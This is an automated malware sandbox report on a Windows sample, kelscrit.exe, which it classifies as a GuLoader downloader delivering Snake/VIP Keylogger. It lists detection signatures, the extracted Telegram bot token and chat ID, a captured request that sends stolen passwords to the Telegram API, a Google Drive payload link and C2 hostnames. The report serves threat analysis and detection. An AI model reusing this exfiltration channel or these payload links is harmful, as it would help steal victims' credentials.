Edit tour

Windows Analysis Report
kelscrit.exe

Overview

General Information

Sample name:	kelscrit.exe
Analysis ID:	1567227
MD5:	64ea70b77e9654021dfe4c5b42a788db
SHA1:	ff668253991db29fa83a93a962654a2a13cc87ba
SHA256:	919036bc72056762803c599929ee33811f1c9a13f55c571008b57b20b638c54b
Tags:	exeuser-lowmal3
Infos:

Detection

GuLoader, Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

kelscrit.exe (PID: 1748 cmdline: "C:\Users\user\Desktop\kelscrit.exe" MD5: 64EA70B77E9654021DFE4C5B42A788DB)

kelscrit.exe (PID: 5756 cmdline: "C:\Users\user\Desktop\kelscrit.exe" MD5: 64EA70B77E9654021DFE4C5B42A788DB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot6358867316:AAGYz8F7DpACV8KuAbFAee27mS5P18ckXUM/sendMessage"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "6358867316:AAGYz8F7DpACV8KuAbFAee27mS5P18ckXUM", "Chat_id": "6361450335", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2944271732.00000000376B1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000002.2944271732.00000000377B7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2918207861.000000000362A000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000000.00000002.2241067625.00000000062AA000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: kelscrit.exe PID: 5756	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: kelscrit.exe PID: 5756	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 3 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T10:12:23.574594+0100	2803305	3	Unknown Traffic	192.168.2.4	49792	172.67.177.134	443	TCP
2024-12-03T10:12:26.735547+0100	2803305	3	Unknown Traffic	192.168.2.4	49799	172.67.177.134	443	TCP
2024-12-03T10:12:39.264739+0100	2803305	3	Unknown Traffic	192.168.2.4	49837	172.67.177.134	443	TCP
2024-12-03T10:12:45.562160+0100	2803305	3	Unknown Traffic	192.168.2.4	49855	172.67.177.134	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T10:12:19.259208+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49780	158.101.44.242	80	TCP
2024-12-03T10:12:21.852983+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49780	158.101.44.242	80	TCP
2024-12-03T10:12:25.040506+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49797	158.101.44.242	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T10:12:11.418043+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49758	172.217.19.238	443	TCP

HTTP traffic detected: POST /bot6358867316:AAGYz8F7DpACV8KuAbFAee27mS5P18ckXUM/sendDocument?chat_id=6361450335&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd14d03d71ef37Host: api.telegram.orgContent-Length: 581

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 03 Dec 2024 09:12:47 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: kelscrit.exe, 00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: kelscrit.exe, 00000004.00000002.2944271732.00000000376B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: kelscrit.exe, 00000004.00000002.2944271732.00000000376B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: kelscrit.exe, 00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.0000000037853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: kelscrit.exe, 00000004.00000002.2944271732.00000000376B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: kelscrit.exe, 00000004.00000002.2944271732.00000000376B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: kelscrit.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: kelscrit.exe, 00000004.00000002.2944271732.00000000376B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: kelscrit.exe, 00000004.00000002.2944271732.00000000376B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: kelscrit.exe, 00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.0000000037853000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.0000000037793000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: kelscrit.exe, 00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.0000000037793000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: kelscrit.exe, 00000004.00000002.2944271732.0000000037793000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: kelscrit.exe, 00000004.00000002.2944271732.0000000037793000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20a
Source: kelscrit.exe, 00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.0000000037853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6358867316:AAGYz8F7DpACV8KuAbFAee27mS5P18ckXUM/sendDocument?chat_id=6361
Source: kelscrit.exe, 00000004.00000003.2400295135.00000000072FA000.00000004.00000020.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000003.2400383686.00000000072FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: kelscrit.exe, 00000004.00000002.2944271732.0000000037870000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.00000000377B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: kelscrit.exe, 00000004.00000002.2944271732.000000003786B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlBtq
Source: kelscrit.exe, 00000004.00000002.2923333214.0000000007288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: kelscrit.exe, 00000004.00000002.2923333214.0000000007288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/Hl
Source: kelscrit.exe, 00000004.00000002.2943821325.00000000368E0000.00000004.00001000.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2923333214.00000000072C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1SNuP_I7UYg8uQJi48SWGSQyWXLWmkyvC
Source: kelscrit.exe, 00000004.00000002.2923333214.00000000072C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1SNuP_I7UYg8uQJi48SWGSQyWXLWmkyvCU
Source: kelscrit.exe, 00000004.00000002.2923333214.00000000072EF000.00000004.00000020.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000003.2456940413.0000000007332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: kelscrit.exe, 00000004.00000002.2923333214.00000000072DD000.00000004.00000020.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000003.2400295135.00000000072FA000.00000004.00000020.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000003.2400383686.00000000072FA000.00000004.00000020.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2923333214.00000000072C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1SNuP_I7UYg8uQJi48SWGSQyWXLWmkyvC&export=download
Source: kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: kelscrit.exe, 00000004.00000002.2944271732.00000000376FC000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.000000003776C000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.0000000037793000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: kelscrit.exe, 00000004.00000002.2944271732.00000000376FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: kelscrit.exe, 00000004.00000002.2944271732.0000000037793000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.228
Source: kelscrit.exe, 00000004.00000002.2944271732.0000000037727000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.000000003776C000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.0000000037793000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.228$
Source: kelscrit.exe, 00000004.00000003.2400295135.00000000072FA000.00000004.00000020.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000003.2400383686.00000000072FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: kelscrit.exe, 00000004.00000002.2945324302.0000000038A2E000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.00000000387D5000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.000000003892B000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.00000000377B7000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038787000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.00000000387FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: kelscrit.exe, 00000004.00000002.2945324302.0000000038906000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038762000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.000000003878D000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038931000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.00000000387D7000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: kelscrit.exe, 00000004.00000002.2945324302.0000000038A2E000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.00000000387D5000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.000000003892B000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.00000000377B7000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038787000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.00000000387FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: kelscrit.exe, 00000004.00000002.2945324302.0000000038906000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038762000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.000000003878D000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038931000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.00000000387D7000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2945324302.0000000038A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: kelscrit.exe, 00000004.00000003.2400295135.00000000072FA000.00000004.00000020.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000003.2400383686.00000000072FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: kelscrit.exe, 00000004.00000003.2400295135.00000000072FA000.00000004.00000020.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000003.2400383686.00000000072FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: kelscrit.exe, 00000004.00000003.2400295135.00000000072FA000.00000004.00000020.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000003.2400383686.00000000072FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: kelscrit.exe, 00000004.00000003.2400295135.00000000072FA000.00000004.00000020.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000003.2400383686.00000000072FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: kelscrit.exe, 00000004.00000003.2400295135.00000000072FA000.00000004.00000020.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000003.2400383686.00000000072FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: kelscrit.exe, 00000004.00000002.2945324302.0000000038979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: kelscrit.exe, 00000004.00000003.2400295135.00000000072FA000.00000004.00000020.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000003.2400383686.00000000072FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: kelscrit.exe, 00000004.00000003.2400295135.00000000072FA000.00000004.00000020.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000003.2400383686.00000000072FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: kelscrit.exe, 00000004.00000002.2944271732.00000000378A1000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.0000000037892000.00000004.00000800.00020000.00000000.sdmp, kelscrit.exe, 00000004.00000002.2944271732.00000000377B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: kelscrit.exe, 00000004.00000002.2944271732.0000000037892000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/K2
Source: kelscrit.exe, 00000004.00000002.2944271732.000000003789C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lBtq

Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844

Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.129:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49861 version: TLS 1.2

Source: C:\Users\user\Desktop\kelscrit.exe

Code function: 0_2_0040573B GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040573B

Source: C:\Users\user\Desktop\kelscrit.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_00403552
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_00403552

Source: C:\Users\user\Desktop\kelscrit.exe	File created: C:\Windows\Fonts\frostluften			Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	File created: C:\Windows\Fonts\frostluften\Mangrate			Jump to behavior

Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_00406DE6	0_2_00406DE6
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_004075BD	0_2_004075BD
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_6F951BFF	0_2_6F951BFF
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_0438102A	0_2_0438102A
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_0438182B	0_2_0438182B
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_0438081C	0_2_0438081C
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04381414	0_2_04381414
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04380009	0_2_04380009
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04380C03	0_2_04380C03
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_0438107D	0_2_0438107D
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04380874	0_2_04380874
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04381875	0_2_04381875
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_0438106D	0_2_0438106D
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_0438146F	0_2_0438146F
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04380C54	0_2_04380C54
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04381448	0_2_04381448
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_0438104D	0_2_0438104D
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04380843	0_2_04380843
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_043818A8	0_2_043818A8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_043810AF	0_2_043810AF
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_043814A3	0_2_043814A3
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04380897	0_2_04380897
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04380C8A	0_2_04380C8A
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_043808F4	0_2_043808F4
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_043814D8	0_2_043814D8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_043810DE	0_2_043810DE
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04380CCE	0_2_04380CCE
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04380928	0_2_04380928
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04381528	0_2_04381528
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_0438112D	0_2_0438112D
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04380918	0_2_04380918
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04380D01	0_2_04380D01
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04381506	0_2_04381506
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_0438197B	0_2_0438197B
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04380D6D	0_2_04380D6D
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_0438095C	0_2_0438095C
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_0438115E	0_2_0438115E
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_0438155F	0_2_0438155F
